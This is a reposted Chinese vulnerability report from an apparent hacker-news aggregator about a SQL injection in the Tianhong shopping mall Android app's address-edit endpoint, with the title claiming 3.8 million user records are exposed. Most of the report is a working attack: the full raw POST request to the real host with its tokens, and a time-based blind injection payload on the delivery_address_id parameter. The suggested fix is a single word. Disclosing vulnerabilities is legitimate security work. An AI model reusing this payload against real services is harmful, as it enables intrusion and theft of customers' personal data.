记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

天虹商场APP一处SQL注入(再现380W用户数据)

2016-03-30 20:40

天虹商场app最新版本2.0.4

收货地址修改功能存在sql注入,参数:delivery_address_id

天虹202.png

天虹203.png



code 区域
POST /center/delivery_address/edit HTTP/1.1

x-http-interface-v: 1.0.0

x-http-package: cn.rainbow.westore

x-http-devicetype: android

x-http-token: abcfd78b4f39cc4d1467731907e3755c

x-http-version: 2.0.4

x-http-timestamp: 1459129516

x-http-deviceuid: ffffffff-a95e-e042-5fcb-c4e600000000

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.1.1; MI 2 MIUI/4.12.5)

Host: member.honglingjin.cn

Connection: Keep-Alive

Accept-Encoding: gzip

Content-Length: 449



detail_address=11%E5%8F%B7&province_code=31345&area_code=100005&street=%E5%8D%97%E5%B1%B1%E8%A1%97%E9%81%93%E6%97%B6%E4%BB%A3%E9%AA%84%E5%AD%90&city=%E6%B7%B1%E5%9C%B3&store_code=00110&area=%E5%8D%97%E5%B1%B1%E5%8C%BA&consignee_name=%E4%BD%99%E7%94%9F&delivery_address_id=4996&province=%E5%B9%BF%E4%B8%9C%E7%9C%81&mobile_phone_number=13500000000&user_id=25000131900&city_code=31359&street_code=10000122&access_token=41128f3f23657fc460a6079faab54e70&





Parameter: delivery_address_id (POST)

Type: AND/OR time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (SELECT)

Payload: detail_address=11%E5%8F%B7&province_code=31345&area_code=100005&street=%E5%8D%97%E5%B1%B1%E8%A1%97%E9%81%93%E6%97%B6%E4%BB%A3%E9%AA%84%E5%AD%90&city=%E6%B7%B1%E5%9C%B3&store_code=00110&area=%E5%8D%97%E5%B1%B1%E5%8C%BA&consignee_name=%E4%BD%99%E7%94%9F&delivery_address_id=4996 AND (SELECT * FROM (SELECT(SLEEP(5)))NESU)&province=%E5%B9%BF%E4%B8%9C%E7%9C%81&mobile_phone_number=13500000000&user_id=25000131900&city_code=31359&street_code=10000122&access_token=41128f3f23657fc460a6079faab54e70&

天虹201.png

漏洞证明: 修复方案:

sql过滤

知识来源: www.wooyun.org/bugs/wooyun-2016-0189961

阅读:54997 | 评论:0 | 标签:注入

想收藏或者和大家分享这篇好文章→复制链接地址

“天虹商场APP一处SQL注入(再现380W用户数据)”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云